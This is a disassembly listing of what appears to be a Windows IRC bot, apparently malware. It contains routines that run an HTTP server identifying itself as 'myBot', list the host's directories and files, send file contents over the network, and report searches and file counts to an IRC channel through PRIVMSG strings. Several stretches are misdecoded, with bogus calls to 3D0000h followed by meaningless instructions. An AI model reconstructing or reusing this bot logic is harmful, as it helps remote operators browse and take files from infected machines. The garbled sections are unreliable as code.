loc_4107E8:				; CODE XREF: sub_410418+36Fj
					; sub_410418+395j
		push	esi
		call	ds:dword_451588


loc_4107EF:				; CODE XREF: sub_410418+11Dj
					; sub_410418+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_410525
		jmp	loc_4104EF
; ---------------------------------------------------------------------------


loc_410804:				; CODE XREF: sub_410418+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_410809:				; CODE XREF: sub_410418+6Aj
					; sub_410418+92j ...
		call	ds:dword_451488
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_449B5C
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_41084F
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40145D
		add	esp, 14h


loc_41084F:				; CODE XREF: sub_410418+412j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4161A7
		pop	ecx
		push	edi
		call	ds:dword_451588
		push	[ebp+var_254]
		call	sub_40905B
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		dec	ebp
		pop	edi
		pop	esi
		pop	ebx
sub_410418	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410879	proc near		; DATA XREF: seg000:00410C41o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_1E6AE03D	= byte ptr  1E6AE045h

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41DEB0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41D260
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_4108DE
		push	offset aTextHtml ; "text/html"
		jmp	short loc_4108E3
; ---------------------------------------------------------------------------


loc_4108DE:				; CODE XREF: sub_410879+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_4108E3:				; CODE XREF: sub_410879+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41D260
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 3D0000h
		cmp	cl, [ebp+arg_1E6AE03D]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 3D0000h
		daa
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_41095C
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41D260
		add	esp, 24h
		jmp	short loc_41097D
; ---------------------------------------------------------------------------


loc_41095C:				; CODE XREF: sub_410879+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41D260
		add	esp, 28h


loc_41097D:				; CODE XREF: sub_410879+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	ds:dword_451540
		cmp	[ebp+var_A4], edi
		jnz	short loc_4109BD
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_41132D
		pop	ecx
		pop	ecx
		jmp	short loc_4109DA
; ---------------------------------------------------------------------------


loc_4109BD:				; CODE XREF: sub_410879+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	loc_410CAB
		add	esp, 10h


loc_4109DA:				; CODE XREF: sub_410879+142j
		push	[ebp+var_44C]
		call	ds:dword_451588
		push	[ebp+var_B4]
		call	sub_40905B
		pop	ecx
		push	edi
		call	near ptr 3D0000h


loc_4109F8:				; CODE XREF: sub_410418+3C6p
		mov	edx, 8B555E5Fh
sub_410879	endp ; sp-analysis failed

		in	al, dx
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp-210h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41D100
		mov	eax, [ebp+10h]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_410A31
		push	eax
		push	offset aS_20	; "\\%s"
		jmp	short loc_410A3A
; ---------------------------------------------------------------------------


loc_410A31:				; CODE XREF: seg000:00410A27j
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_21	; "%s"


loc_410A3A:				; CODE XREF: seg000:00410A2Fj
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		lea	eax, [ebp-10Ch]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AC70
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD5
		mov	dword ptr [ebp+10h], 2


loc_410A65:				; CODE XREF: seg000:00410AD3j
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_41AC70
		cmp	[ebp+10h], eax
		pop	ecx
		jnb	short loc_410AA5
		cmp	byte ptr [ebp+esi-10Ch], 25h
		jnz	short loc_410AA5
		cmp	byte ptr [ebp+esi-10Bh], 32h
		jnz	short loc_410AA5
		cmp	byte ptr [ebp+esi-10Ah], 30h
		jnz	short loc_410AA5
		inc	esi
		mov	byte ptr [ebp+ebx-210h], 20h
		inc	esi
		add	dword ptr [ebp+10h], 2
		jmp	short loc_410ABF
; ---------------------------------------------------------------------------


loc_410AA5:				; CODE XREF: seg000:00410A75j
					; seg000:00410A7Fj ...
		mov	al, [ebp+esi-10Ch]
		cmp	al, 2Fh
		jnz	short loc_410AB5
		push	5Ch
		pop	eax
		jmp	short loc_410AB8
; ---------------------------------------------------------------------------


loc_410AB5:				; CODE XREF: seg000:00410AAEj
		movsx	eax, al


loc_410AB8:				; CODE XREF: seg000:00410AB3j
		mov	[ebp+ebx-210h],	al


loc_410ABF:				; CODE XREF: seg000:00410AA3j
		lea	eax, [ebp-10Ch]
		inc	esi
		inc	dword ptr [ebp+10h]
		push	eax
		inc	ebx
		call	sub_41AC70
		cmp	esi, eax
		pop	ecx
		jb	short loc_410A65


loc_410AD5:				; CODE XREF: seg000:00410A5Cj
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+0Ch]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_41D260
		lea	eax, [ebp-314h]
		push	offset asc_449DC0 ; "\n"
		push	eax
		call	sub_41D6B0
		add	esp, 18h
		lea	eax, [ebp-314h]
		push	eax
		call	ds:dword_4F1334	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_410B23
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410B26
		push	dword ptr [ebp+8]
		jmp	short loc_410BA2
; ---------------------------------------------------------------------------


loc_410B23:				; CODE XREF: seg000:00410B17j
		mov	[ebp-4], esi


loc_410B26:				; CODE XREF: seg000:00410B1Cj
		cmp	byte ptr [ebp+ebx-211h], 5Ch
		jnz	short loc_410B33
		mov	[ebp-4], esi


loc_410B33:				; CODE XREF: seg000:00410B2Ej
		mov	ebx, [ebp+8]
		cmp	[ebp-4], edi
		mov	[ebp-6C4h], ebx
		mov	[ebp-318h], edi
		jz	short loc_410BAD
		cmp	[ebp+14h], edi
		jz	short loc_410BA1
		lea	eax, [ebp-314h]
		push	offset asc_449DC4 ; "*"
		push	eax
		call	sub_41E560
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_41D260
		lea	eax, [ebp-210h]
		push	eax
		call	sub_4113EA
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-53Ch]
		push	eax
		call	sub_41D260
		add	esp, 1Ch
		or	dword ptr [ebp-330h], 0FFFFFFFFh
		mov	[ebp-31Ch], esi
		jmp	short loc_410BFC
; ---------------------------------------------------------------------------


loc_410BA1:				; CODE XREF: seg000:00410B4Aj
		push	ebx


loc_410BA2:				; CODE XREF: seg000:00410B21j
		call	ds:dword_451588
		jmp	loc_410CA4
; ---------------------------------------------------------------------------


loc_410BAD:				; CODE XREF: seg000:00410B45j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp-314h]
		push	80000000h
		push	eax
		call	ds:dword_4F1380	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_410BFC
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_41D260
		pop	ecx
		mov	[ebp-31Ch], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 3D0000h
		jbe	short loc_410C46
		mov	[ebp-330h], eax
		call	ds:dword_4F12FC	; CloseHandle


loc_410BFC:				; CODE XREF: seg000:00410B9Fj
					; seg000:00410BCAj
		mov	esi, [ebp+18h]
		lea	eax, [ebp-8C4h]
		push	esi
		push	offset unk_449DC8
		push	eax
		call	sub_41D260
		push	edi
		lea	eax, [ebp-8C4h]
		push	3
		push	eax
		call	sub_408D3F
		mov	[ebp-32Ch], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_4523BC[eax], esi
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-6C4h]
		push	edi
		push	eax
		push	offset sub_410879


loc_410C46:				; CODE XREF: seg000:00410BEEj
		push	edi
		push	edi
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-32Ch]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_410C76


loc_410C64:				; CODE XREF: seg000:00410C74j
		cmp	[ebp-318h], edi
		jnz	short loc_410CA4
		push	5
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_410C64
; ---------------------------------------------------------------------------


loc_410C76:				; CODE XREF: seg000:00410C62j
		push	ebx
		call	ds:dword_451588
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-8C4h]
		push	offset unk_449E10
		push	eax
		call	sub_41D260
		lea	eax, [ebp-8C4h]
		push	eax
		call	sub_4161A7
		add	esp, 10h


loc_410CA4:				; CODE XREF: seg000:00410BA8j
					; seg000:00410C6Aj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_410CAB:				; CODE XREF: seg000:00407025p
					; sub_410879+159p
		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp-594h]
		push	ebx
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-8], ebx
		call	sub_41D100
		mov	edi, [ebp+8]
		push	offset asc_449E5C ; "\n"
		push	edi
		call	sub_41D6B0
		add	esp, 14h
		cmp	[ebp+10h], ebx
		jz	short loc_410D0A
		push	edi
		mov	esi, 200h
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-248h]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 14h
		jmp	loc_410E07
; ---------------------------------------------------------------------------


loc_410D0A:				; CODE XREF: seg000:00410CE5j
		cmp	[ebp+14h], ebx
		push	edi
		jz	loc_410DED
		call	sub_41AC70
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		push	edi
		call	sub_41AC70
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 1Ch
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 0Ch
		jmp	short loc_410E07
; ---------------------------------------------------------------------------


loc_410DED:				; CODE XREF: seg000:00410D0Ej
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 10h


loc_410E07:				; CODE XREF: seg000:00410D05j
					; seg000:00410DEBj
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		cmp	[ebp+14h], ebx
		jz	short loc_410E9F
		push	dword ptr [ebp+14h]
		call	sub_41AC70
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410E9F
		push	dword ptr [ebp+14h]
		call	sub_41AC70
		sub	eax, 3
		pop	ecx
		jz	short loc_410E53


loc_410E47:				; CODE XREF: seg000:00410E51j
		mov	ecx, [ebp+14h]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410E53
		dec	eax
		jnz	short loc_410E47


loc_410E53:				; CODE XREF: seg000:00410E45j
					; seg000:00410E4Ej
		inc	eax
		push	eax
		lea	eax, [ebp-594h]
		push	dword ptr [ebp+14h]
		push	eax
		call	sub_41D800
		lea	eax, [ebp-594h]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 1Ch
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540


loc_410E9F:				; CODE XREF: seg000:00410E29j
					; seg000:00410E37j
		lea	eax, [ebp-388h]
		push	eax
		push	edi
		call	ds:dword_4F13B4	; FindFirstFileA
		lea	ecx, [ebp-388h]
		mov	[ebp+8], eax
		push	ecx
		push	eax
		call	ds:dword_4F13B0	; FindNextFileA
		test	eax, eax
		jz	loc_411290
		mov	edi, 1FFh


loc_410ECB:				; CODE XREF: seg000:0041128Aj
		cmp	[ebp-388h], ebx
		jz	loc_411278
		lea	eax, [ebp-35Ch]
		push	offset a__	; ".."
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411278
		lea	eax, [ebp-35Ch]
		push	offset a__0	; "."
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411278
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-374h]
		push	eax
		call	near ptr 3D0000h
		sub	cl, [ebp-72AF17BBh]
		inc	ebp
		loopne	near ptr loc_410F73+3
		call	near ptr 3D0000h
		adc	eax, 0F0458B66h
		mov	ecx, offset aPm_0 ; "PM"
		cmp	ax, 0Ch
		ja	short loc_410F40
		mov	ecx, offset aAm	; "AM"


loc_410F40:				; CODE XREF: seg000:00410F39j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410F4C
		sub	eax, 0Ch


loc_410F4C:				; CODE XREF: seg000:00410F47j
		push	ecx
		movzx	ecx, word ptr [ebp-0Eh]
		push	ecx
		push	eax
		movzx	eax, word ptr [ebp-18h]
		push	eax
		movzx	eax, word ptr [ebp-12h]
		push	eax
		movzx	eax, word ptr [ebp-16h]
		push	eax
		lea	eax, [ebp-48h]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41D260
		add	esp, 20h


loc_410F73:				; CODE XREF: seg000:00410F24j
		test	byte ptr [ebp-388h], 10h
		jz	loc_4110F9
		inc	dword ptr [ebp-8]
		cmp	[ebp+10h], ebx
		jz	short loc_410FCD
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset aS_22	; "<%s>"
		lea	eax, [ebp-490h]
		push	106h
		push	eax
		call	sub_41D360
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-490h]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 28h
		jmp	loc_411249
; ---------------------------------------------------------------------------


loc_410FCD:				; CODE XREF: seg000:00410F86j
		cmp	[ebp+14h], ebx
		jz	loc_4110B7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		lea	eax, [ebp-35Ch]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+14h]
		push	offset aSS_3	; "%s%s/"
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		lea	eax, [ebp-35Ch]
		push	eax
		call	sub_41AC70
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp-35Ch]
		push	eax
		jbe	short loc_41106D
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_411072
; ---------------------------------------------------------------------------


loc_41106D:				; CODE XREF: seg000:00411064j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_411072:				; CODE XREF: seg000:0041106Bj
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		lea	eax, [ebp-48h]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_41123A
; ---------------------------------------------------------------------------


loc_4110B7:				; CODE XREF: seg000:00410FD0j
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset aS_23	; "<%s>"
		lea	eax, [ebp-490h]
		push	106h
		push	eax
		call	sub_41D360
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-490h]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_4110E4:				; CODE XREF: seg000:00411121j
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 24h
		jmp	loc_411249
; ---------------------------------------------------------------------------


loc_4110F9:				; CODE XREF: seg000:00410F7Aj
		inc	dword ptr [ebp-4]
		cmp	[ebp+10h], ebx
		jz	short loc_411123
		push	ebx
		push	dword ptr [ebp-368h]
		call	sub_4169AF
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-35Ch]
		push	eax
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4110E4
; ---------------------------------------------------------------------------


loc_411123:				; CODE XREF: seg000:004110FFj
		cmp	[ebp+14h], ebx
		jz	loc_411223
		push	0E6h
		push	offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		lea	eax, [ebp-35Ch]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+14h]
		push	offset aSS_4	; "%s%s"
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		lea	eax, [ebp-35Ch]
		push	eax
		call	sub_41AC70
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp-35Ch]
		push	eax
		jbe	short loc_4111C3
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4111C8
; ---------------------------------------------------------------------------


loc_4111C3:				; CODE XREF: seg000:004111BAj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4111C8:				; CODE XREF: seg000:004111C1j
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		mov	eax, [ebp-368h]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-48h]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 1Ch
		jmp	short loc_411249
; ---------------------------------------------------------------------------


loc_411223:				; CODE XREF: seg000:00411126j
		push	dword ptr [ebp-368h]
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_41123A:				; CODE XREF: seg000:004110B2j
		lea	eax, [ebp-248h]
		push	eax
		call	sub_41D360
		add	esp, 18h


loc_411249:				; CODE XREF: seg000:00410FC8j
					; seg000:004110F4j ...
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		cmp	[ebp+10h], ebx
		jz	short loc_411278
		push	7D0h
		call	ds:dword_4F12F4	; Sleep


loc_411278:				; CODE XREF: seg000:00410ED1j
					; seg000:00410EECj ...
		lea	eax, [ebp-388h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4F13B0	; FindNextFileA
		test	eax, eax
		jnz	loc_410ECB


loc_411290:				; CODE XREF: seg000:00410EC0j
		push	dword ptr [ebp+8]
		call	near ptr 3D0000h
		cmpsd
		cmp	[ebp+10h], ebx
		jz	short loc_4112D3
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_4169AF
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp-4]
		cdq
		push	edx
		push	eax
		call	sub_4169AF
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41D260
		add	esp, 14h
		jmp	short loc_411307
; ---------------------------------------------------------------------------


loc_4112D3:				; CODE XREF: seg000:0041129Cj
		cmp	[ebp+14h], ebx
		jz	short loc_4112ED
		lea	eax, [ebp-248h]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		jmp	short loc_411307
; ---------------------------------------------------------------------------


loc_4112ED:				; CODE XREF: seg000:004112D6j
		push	dword ptr [ebp-8]
		lea	eax, [ebp-248h]
		push	dword ptr [ebp-4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41D260
		add	esp, 10h


loc_411307:				; CODE XREF: seg000:004112D1j
					; seg000:004112EBj
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451540
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41132D	proc near		; CODE XREF: sub_410879+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_4F1380	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4113E5
		push	esi
		push	ebx
		call	near ptr 3D0000h
		insb
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4113DE


loc_411372:				; CODE XREF: sub_41132D+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_41138F
		mov	edi, [ebp+arg_4]


loc_41138F:				; CODE XREF: sub_41132D+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4F13B8	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_4F1374	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4113D9
		call	ds:dword_451488
		cmp	eax, 2733h
		jnz	short loc_4113DE
		xor	eax, eax


loc_4113D9:				; CODE XREF: sub_41132D+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_411372


loc_4113DE:				; CODE XREF: sub_41132D+43j
					; sub_41132D+A8j
		push	ebx
		call	ds:dword_4F12FC	; CloseHandle


loc_4113E5:				; CODE XREF: sub_41132D+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41132D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4113EA	proc near		; CODE XREF: seg000:00410B77p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AC70
		test	eax, eax
		pop	ecx
		jbe	short loc_411413


loc_4113FD:				; CODE XREF: sub_4113EA+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_411407
		mov	byte ptr [esi+edi], 2Fh


loc_411407:				; CODE XREF: sub_4113EA+17j
		push	edi
		inc	esi
		call	sub_41AC70
		cmp	esi, eax
		pop	ecx
		jb	short loc_4113FD


loc_411413:				; CODE XREF: sub_4113EA+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4113EA	endp


; =============== S U B	R O U T	I N E =======================================

